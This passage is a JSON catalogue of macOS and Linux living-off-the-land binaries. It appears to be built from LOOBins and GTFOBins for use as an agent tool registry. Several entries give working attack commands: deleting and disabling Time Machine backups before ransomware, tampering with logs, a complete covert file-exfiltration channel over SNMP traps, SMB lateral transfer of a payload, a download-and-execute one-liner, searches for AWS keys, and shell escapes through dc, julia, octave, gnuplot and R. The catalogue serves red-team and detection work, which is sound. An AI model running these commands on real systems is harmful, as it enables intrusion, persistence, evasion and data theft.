        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml",
        "description": "Sigma: Time Machine Backup Deletion Attempt Via Tmutil - MacOS"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml",
        "description": "Sigma: Time Machine Backup Disabled Via Tmutil - MacOS"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml",
        "description": "Sigma: New File Exclusion Added To Time Machine Via Tmutil - MacOS"
      }
    ],
    "examples": [
      {
        "description": "Disable Time Machine: The following command disables Time Machine. An attacker can use this to prevent backups from occurring.",
        "command": "tmutil disable"
      },
      {
        "description": "Delete a backup: The following command deletes the specified backup. An adversary may perform this action before launching a ransomware attack to prevent the victim from restoring their files.",
        "command": "tmutil delete /path/to/backup"
      },
      {
        "description": "Restore a backup: The following command restore the specified backup. An attacker can use this to restore a backup of a sensitive file that was deleted.",
        "command": "tmutil restore /path/to/backup"
      },
      {
        "description": "Tamper with system logs: An adversary can use the snapshot and restore commands together to tamper with system logs. This is fixed in macOS 10.15.4+.",
        "command": "mkdir /tmp/snapshot\ntmutil localsnapshot\ntmutil listlocalsnapshots /\nmount_apfs -o noowners -s com.apple.TimeMachine.2023-05-01-090000.local /System/Volumes/Data /tmp/snapshot\nopen /tmp/snapshot\nsudo vim /var/log/system.log\ntmutil restore com.apple.TimeMachine.2023-05-01-090000.local"
      },
      {
        "description": "Exclude path from backup: An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.",
        "command": "tmutil addexclusion /path/to/exclude"
      }
    ],
    "execution": {
      "template": "tmutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "interactive",
      "process-manip",
      "requires-root",
      "stealth"
    ],
    "id": "macos-impact-tmutil",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/tmutil"
        ]
      }
    ],
    "name": "tmutil",
    "namespace": "macos:impact:tmutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "mount_apfs TCC bypass and privilege escalation",
        "url": "https://theevilbit.github.io/posts/cve_2020_9771/"
      },
      {
        "label": "Manage Time Machine backups",
        "url": "https://github.molgen.mpg.de/pages/bs/macOSnotes/mac/mac_files_tmutil.html"
      },
      {
        "label": "Living-off-the-Land: Exploring macOS LOOBins and Crafting Detection Rules - tmutil",
        "url": "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-0fd"
      }
    ],
    "techniques": [
      "impact",
      "collection",
      "privilege-escalation",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nsharing (/usr/sbin/sharing) is a macOS command-line utility for creating and managing network file sharing points. It can add, remove, and list shared directories for SMB, AFP, and FTP protocols. In a lateral movement context, an attacker with SSH access to a target can use sharing to create an SMB share on the target, then mount that share from an attacker-controlled machine to transfer files directly to the target's filesystem without additional tooling.\n",
    "_source": "sharing.md",
    "author": "Ryan Conry (Cisco Talos)",
    "capabilities": [
      "network.lateralmovement"
    ],
    "description": "Create and manage macOS file sharing points for SMB, AFP, and FTP.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Create an SMB share on a target over SSH for lateral tool transfer: With SSH access to the target, the sharing utility can create an SMB share pointing to a directory on the target. Combined with the macOS smbd LaunchDaemon, the share becomes accessible over the network. The attacker can then mount the share using osascript and copy files directly into it, which appear immediately in the target's share directory. The -s 001 flag enables SMB access on the share.",
        "command": "# On target (via SSH): create share directory, start smbd, create the share\nssh user@<TARGET_IP> 'mkdir -p ~/share && sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smbd.plist && sudo sharing -a /Users/user/share -n share -s 001'\n\n# On attacker: mount the share using osascript and transfer a file\nosascript -e 'mount volume \"smb://user:<PASSWORD>@<TARGET_IP>/share\"'\ncp payload.sh /Volumes/share/"
      }
    ],
    "execution": {
      "template": "sharing",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive"
    ],
    "id": "macos-lateral-movement-sharing",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/sharing"
        ]
      }
    ],
    "name": "sharing",
    "namespace": "macos:lateralmovement:sharing",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "sharing man page",
        "url": "https://ss64.com/mac/sharing.html"
      },
      {
        "label": "Bad Apples: Weaponizing Native macOS Primitives for Movement and Execution",
        "url": "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
      }
    ],
    "techniques": [
      "lateral-movement"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nmacOS ships with the net-snmp toolkit, which includes snmptrap (/usr/bin/snmptrap) for sending SNMP trap notifications and snmptrapd (/usr/sbin/snmptrapd) for receiving them. SNMP traps are unsolicited UDP notifications sent from an agent to a management station on port 162. The trap payload can carry arbitrary string data under custom OIDs in the private enterprise namespace. This mechanism can be repurposed as a covert file transfer channel by base64-encoding file contents, splitting them into fixed-size chunks, and transmitting each chunk as a trap payload. A trap handler on the receiving end reassembles and decodes the file. The transfer blends into SNMP management traffic and uses a protocol that many detection pipelines do not inspect.\n",
    "_source": "snmptrap.md",
    "author": "Ryan Conry (Cisco Talos)",
    "capabilities": [
      "network.lateralmovement",
      "exfiltration.data",
      "network.commandandcontrol"
    ],
    "description": "Send SNMP trap notifications; receive them with snmptrapd.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Covert file transfer via SNMP trap payloads: This technique assumes both the sender and receiver are macOS hosts. Files are base64-encoded and sent as a sequence of SNMP traps carrying chunked data under a custom OID (1.3.6.1.4.1.99999). Three message types are used - FILENAME signals the start of a transfer, DATA carries each base64 chunk, and END triggers reassembly. snmptrapd on the receiver routes all traps to a handler script that writes, reassembles, and decodes the chunks using macOS-native base64 and md5 utilities. The resulting file is verified with an MD5 hash.",
        "command": "# On receiver: install trap handler script\nsudo tee /usr/local/bin/trap_handler.sh > /dev/null << 'EOF'\n#!/bin/bash\nTRANSFER_DIR=\"/tmp/snmp_transfers\"\nSTATE_FILE=\"/tmp/snmp_transfer_state\"\nmkdir -p \"$TRANSFER_DIR\"\nwhile read line; do\n    if echo \"$line\" | grep -q \"SNMPv2-SMI::enterprises.99999.1\"; then\n        DATA=$(echo \"$line\" | sed 's/.*\"\\(.*\\)\"/\\1/')\n        if [[ \"$DATA\" == FILENAME:* ]]; then\n            FILENAME=\"${DATA#FILENAME:}\"\n            echo \"$FILENAME\" > \"$STATE_FILE\"\n            > \"${TRANSFER_DIR}/${FILENAME}.b64\"\n        elif [[ \"$DATA\" == DATA:* ]]; then\n            if [ -f \"$STATE_FILE\" ]; then\n                FILENAME=$(cat \"$STATE_FILE\")\n                CHUNK=\"${DATA#DATA:}\"\n                echo -n \"$CHUNK\" >> \"${TRANSFER_DIR}/${FILENAME}.b64\"\n            fi\n        elif [[ \"$DATA\" == \"END\" ]]; then\n            if [ -f \"$STATE_FILE\" ]; then\n                FILENAME=$(cat \"$STATE_FILE\")\n                base64 -D < \"${TRANSFER_DIR}/${FILENAME}.b64\" > \"${TRANSFER_DIR}/${FILENAME}\"\n                echo \"MD5: $(md5 -q \"${TRANSFER_DIR}/${FILENAME}\")\"\n                rm \"${TRANSFER_DIR}/${FILENAME}.b64\"\n                rm \"$STATE_FILE\"\n            fi\n        fi\n    fi\ndone\nEOF\nsudo chmod +x /usr/local/bin/trap_handler.sh\n\n# On receiver: configure snmptrapd to route traps to the handler and start it\nsudo tee /etc/snmp/snmptrapd.conf > /dev/null << 'EOF'\ndisableAuthorization yes\ntraphandle default /usr/local/bin/trap_handler.sh\nEOF\nsudo snmptrapd -f -Lo\n\n# On sender: transmit file in chunks\nFILE_PATH=\"/tmp/payload.sh\"\nRECEIVER_IP=\"<RECEIVER_IP>\"\nCHUNK_SIZE=1000\nBASE64_DATA=$(base64 < \"$FILE_PATH\")\nFILE_NAME=$(basename \"$FILE_PATH\")\nsnmptrap -v 2c -c public \"$RECEIVER_IP\" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s \"FILENAME:$FILE_NAME\"\necho \"$BASE64_DATA\" | fold -w $CHUNK_SIZE | while read chunk; do\n    snmptrap -v 2c -c public \"$RECEIVER_IP\" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s \"DATA:$chunk\"\n    sleep 0.1\ndone\nsnmptrap -v 2c -c public \"$RECEIVER_IP\" '' 1.3.6.1.4.1.99999 1.3.6.1.4.1.99999.1 s \"END\""
      }
    ],
    "execution": {
      "template": "snmptrap",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "pipes-stdout"
    ],
    "id": "macos-lateral-movement-snmptrap",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/snmptrap"
        ]
      },
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/snmptrapd"
        ]
      }
    ],
    "name": "snmptrap",
    "namespace": "macos:lateralmovement:snmptrap",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "net-snmp project",
        "url": "https://net-snmp.sourceforge.io/"
      },
      {
        "label": "Bad Apples: Weaponizing Native macOS Primitives for Movement and Execution",
        "url": "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
      }
    ],
    "techniques": [
      "lateral-movement",
      "exfiltration",
      "command-and-control"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nsystemsetup configures certain per-machine settings typically configured in the System Preferences application.\nThe systemsetup command requires at least \"admin\" privileges to run.\n",
    "_source": "systemsetup.md",
    "author": "Hare Sudhan (@cyb3rbuff)",
    "capabilities": [
      "network.lateralmovement"
    ],
    "description": "Enable remote login, remote apple events for the machine",
    "detections": [
      {
        "type": "other",
        "url": "https://www.elastic.co/guide/en/security/current/remote-ssh-login-enabled-via-systemsetup-command.html",
        "description": "Command line argument detection containing (args contain systemsetup AND (-setremoteappleevents OR -setremotelogin) AND on)"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/systemsetup_activity",
        "description": "Jamf Protect: Detect systemsetup activity that enables remotelogin or appleremoteevents"
      }
    ],
    "examples": [
      {
        "description": "Enable Remote Login: systemsetup can be used to enable SSH for remote login",
        "command": "sudo systemsetup -setremotelogin on\n"
      },
      {
        "description": "Enable Remote Apple Events: systemsetup can be used to enable Remote Apple Events. \nSet whether the system responds to events sent by other computers (such as AppleScripts).\n",
        "command": "sudo systemsetup -setremoteappleevents on\n"
      }
    ],
    "execution": {
      "template": "systemsetup",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive",
      "remote"
    ],
    "id": "macos-lateral-movement-systemsetup",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/systemsetup"
        ]
      }
    ],
    "name": "systemsetup",
    "namespace": "macos:lateralmovement:systemsetup",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "systemsetup man page",
        "url": "https://ss64.com/osx/systemsetup.html"
      }
    ],
    "techniques": [
      "lateral-movement"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\ndisown is a system utility that can be utilized to persist a shell process after a terminal has been closed or a shell session has been terminated. This is accomplished by preventing a SIGHUP from being sent to the running job, and removing the process from the shell jobs table. Unlike nohup which is used during process initialization, disown can be used to modify an existing process.\n",
    "_source": "disown.md",
    "author": "Gabriel De Jesus (0xv1n)",
    "capabilities": [
      "security.persistence.hook"
    ],
    "description": "Prevents a process from being terminated when a shell session or terminal is closed.",
    "detections": [
      {
        "type": "other",
        "description": "No detection content at time of writing"
      }
    ],
    "examples": [
      {
        "description": "Start a process and remove it from the jobs table.: The following command downloads a remote binary, sets it to executable, executes the binary, disowns it from the shell it spawned from, and closes the terminal session.",
        "command": "curl -O http://1.1.1.1/updated && chmod +x updated && ./updated & disown && pkill Terminal"
      }
    ],
    "execution": {
      "template": "disown",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "interactive",
      "pipes-stdin",
      "process-manip"
    ],
    "id": "macos-persistence-disown",
    "install": [
      {
        "method": "custom",
        "commands": [
          "shell built-in command (bash)"
        ]
      }
    ],
    "name": "disown",
    "namespace": "macos:persistence:disown",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "disown man page",
        "url": "https://linux.die.net/man/1/disown"
      },
      {
        "label": "bash man page",
        "url": "https://man7.org/linux/man-pages/man1/bash.1.html"
      },
      {
        "label": "Poseidon Stealer",
        "url": "https://www.esentire.com/blog/poseidon-stealer-uses-sora-ai-lure-to-infect-macos"
      }
    ],
    "techniques": [
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nUses the CommandLine/Terminal to set file and or directory attributes. It can set attributes, creator, creation date, modification date, and file type for multiple files at a time.\n",
    "_source": "setfile.md",
    "author": "Chris Campbell (@texasbe2trill)",
    "capabilities": [
      "security.persistence.hook",
      "security.defenseevasion.bypass"
    ],
    "description": "Set attributes of files and directories.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Set a file or directory attribute to invisible: A bash or zsh oneliner can allow an attacker to set the file attribute to invisible. This action can establish persistence and evade detection for malicious files on the system.",
        "command": "for FILE in ~/*; do echo $(SetFile -a V $FILE && echo $(GetFileInfo $FILE)) >> /tmp/fileinfo.txt; sleep 2; done"
      },
      {
        "description": "Change a file's creation and modification timestamps: Setfile can be used with the -d and -m arguments to alter a file's creation and modification date, respectively.",
        "command": "SetFile -d \"04/25/2023 11:11:00\" -m \"04/25/2023 11:12:00\" targetfile.txt"
      }
    ],
    "execution": {
      "template": "SetFile",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "stealth"
    ],
    "id": "macos-persistence-setfile",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/SetFile"
        ]
      }
    ],
    "name": "SetFile",
    "namespace": "macos:persistence:setfile",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "The Invisible Bit",
        "url": "https://daringfireball.net/2008/04/the_invisible_bit"
      }
    ],
    "techniques": [
      "persistence",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\ndsexport is a command-line utility designed to export records from the directory services database on a local host or from a connected LDAP service. The tool can be used to gather information about users, groups, and computers. The tool can also be used to export the directory services database to a file for offline analysis.\n",
    "_source": "dsexport.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "reconnaissance.enumerate",
      "discovery.enumerate"
    ],
    "description": "Export data from an Open Directory directory services server.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Export local host users: Export the local host user information to a file",
        "command": "dsexport local_users.txt /Local/Default dsRecTypeStandard:Users"
      },
      {
        "description": "Export local host groups: Export the local host group information to a file",
        "command": "dsexport local_groups.txt /Local/Default dsRecTypeStandard:Groups"
      }
    ],
    "execution": {
      "template": "dsexport",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip",
      "remote"
    ],
    "id": "macos-recon-dsexport",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/dsexport"
        ]
      }
    ],
    "name": "dsexport",
    "namespace": "macos:recon:dsexport",
    "platforms": [
      "macos"
    ],
    "techniques": [
      "recon",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nmdfind to locate files on MacOS by searching a pre-built database. It is a command-line alternative to Spotlight in MacOS\n",
    "_source": "mdfind.md",
    "author": "Chris Campbell (@texasbe2trill)",
    "capabilities": [
      "reconnaissance.enumerate",
      "discovery.enumerate",
      "security.defenseevasion.bypass"
    ],
    "description": "Locate files using the Spotlight database.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/mdfind_search_aws_keys",
        "description": "Jamf Protect: Detect activity related to mdfind used to search for stored AWS keys"
      }
    ],
    "examples": [
      {
        "description": "Use mdfind to provide live updates to the number of files matching the query: A bash or zsh oneliner can cause mdfind to provide an attacker with live updates to the number of files on a system.",
        "command": "mdfind -live passw"
      },
      {
        "description": "Use mdfind to search for AWS Keys: Allows an attacker to query the filesystem via the CommandLine/Terminal to search for AWS keys.",
        "command": "mdfind 'kMDItemTextContext == AKIA || kMDItemDisplayName = *AKIA* -onlyin ~'"
      },
      {
        "description": "Use mdfind to search for apps to infect: Allows an attacker to determine if specific applications are installed and can be leveraged",
        "command": "set appId to do shell script \"mdfind kMDItemCFBundleIdentifier = '\" & bundleId & \"'\""
      }
    ],
    "execution": {
      "template": "mdfind",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdout",
      "stealth"
    ],
    "id": "macos-recon-mdfind",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/mdfind"
        ]
      }
    ],
    "name": "mdfind",
    "namespace": "macos:recon:mdfind",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "'Farming The Apple Orchards: Living off the Land Techniques' - Chris Ross & Cedric Owens",
        "url": "https://youtu.be/Snwh4mMe-Cg?t=45"
      },
      {
        "label": "'Zero-Day TCC bypass discovered in XCSSET malware' - Jaron Bradley, Ferdous Saljooki, Stuart Ashenbrenner",
        "url": "https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/"
      }
    ],
    "techniques": [
      "recon",
      "discovery",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\n# bc — Calculator Language\n\nbc is an arbitrary precision calculator language. The `-s` flag loads a file for processing, and its content appears in error messages when parsing fails, making it useful for file read when used with elevated privileges.\n",
    "_source": "bc.md",
    "allowed-tools": [
      "bc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "math.calculate"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to read"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "File content leaked as error messages",
          "mime": "text/plain"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Arbitrary precision calculator language that can read files via -s flag, leaking content as errors.",
    "examples": [
      {
        "description": "Read arbitrary file via -s flag, content appears as error messages",
        "command": "bc -s /path/to/input-file\nquit"
      }
    ],
    "execution": {
      "template": "bc {s}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "math-bc",
    "install": [
      {
        "method": "apt",
        "package_name": "bc",
        "commands": [
          "apt-get install -y bc"
        ]
      }
    ],
    "name": "bc",
    "namespace": "math:calc:bc",
    "parameters": [
      {
        "name": "s",
        "type": "string",
        "required": false,
        "description": "Load file and suppress normal output",
        "aliases": [
          "-s"
        ],
        "flag": "-s"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "bc man page",
        "url": "https://man7.org/linux/man-pages/man1/bc.1.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "\n\n# dc — Desk Calculator\n\ndc is a reverse-polish desk calculator. The `!` operator executes shell commands, making it useful for privilege escalation when used with sudo or SUID.\n",
    "_source": "dc.md",
    "allowed-tools": [
      "dc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "security.privilege-escalation.shell",
      "math.calculate"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.command.string",
          "description": "Command to execute via dc -e"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Reverse-polish desk calculator that can execute shell commands via the ! operator.",
    "examples": [
      {
        "description": "Spawn interactive shell via dc -e with ! operator",
        "command": "dc -e '!/bin/sh'"
      }
    ],
    "execution": {
      "template": "dc {e}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "math-dc",
    "install": [
      {
        "method": "apt",
        "package_name": "dc",
        "commands": [
          "apt-get install -y dc"
        ]
      }
    ],
    "name": "dc",
    "namespace": "math:calc:dc",
    "parameters": [
      {
        "name": "e",
        "type": "string",
        "required": false,
        "description": "Evaluate expression",
        "aliases": [
          "-e"
        ],
        "flag": "-e"
      }
    ],
    "platforms": [
      "linux",
      "cross-platform"
    ],
    "references": [
      {
        "label": "dc man page",
        "url": "https://man7.org/linux/man-pages/man1/dc.1.html"
      }
    ],
    "related_tools": [
      "bc"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "julia.md",
    "allowed-tools": [
      "julia",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Julia language REPL, can execute commands and spawn shells.",
    "examples": [
      {
        "description": "Spawn a shell via julia",
        "command": "julia -e 'run(`/bin/sh`)'"
      }
    ],
    "execution": {
      "template": "julia -e 'run(`/bin/sh`)'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "math-julia-julia",
    "install": [
      {
        "method": "apt",
        "package_name": "julia",
        "commands": [
          "apt-get install -y julia"
        ]
      }
    ],
    "name": "julia",
    "namespace": "math:julia:julia",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/julia/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "octave.md",
    "allowed-tools": [
      "octave",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Octave script output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU Octave (MATLAB-like), can execute commands.",
    "examples": [
      {
        "description": "Spawn a shell via octave",
        "command": "octave -q --eval 'system(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "octave -q --eval 'system(\"/bin/sh\")'",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "math-octave-octave",
    "install": [
      {
        "method": "apt",
        "package_name": "octave",
        "commands": [
          "apt-get install -y octave"
        ]
      }
    ],
    "name": "octave",
    "namespace": "math:octave:octave",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/octave/"
      }
    ],
    "related_tools": [
      "matlab",
      "R"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "gnuplot.md",
    "allowed-tools": [
      "gnuplot",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Plotting utility, can execute commands.",
    "examples": [
      {
        "description": "Spawn a shell via gnuplot",
        "command": "gnuplot -e 'system(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "gnuplot -e \"system(\\\"/bin/sh\\\")\"",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "math-plot-gnuplot",
    "install": [
      {
        "method": "apt",
        "package_name": "gnuplot",
        "commands": [
          "apt-get install -y gnuplot"
        ]
      }
    ],
    "name": "gnuplot",
    "namespace": "math:plot:gnuplot",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/gnuplot/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "R.md",
    "allowed-tools": [
      "R",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "R script output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "R language for statistics, can execute commands.",
    "examples": [
      {
        "description": "Spawn a shell via R",
        "command": "R -e 'system(\"/bin/sh\")'"
      }
    ],
    "execution": {
      "template": "R -e 'system(\"/bin/sh\")'",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "math-r-lang",
    "install": [
      {
        "method": "apt",
        "package_name": "r-base",
        "commands": [
          "apt-get install -y r-base"
        ]
      }
    ],
    "name": "R",
    "namespace": "math:r:lang",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/R/"
      }
    ],
    "related_tools": [
      "octave",
      "julia"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "check_by_ssh.md",
    "allowed-tools": [
      "check_by_ssh",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
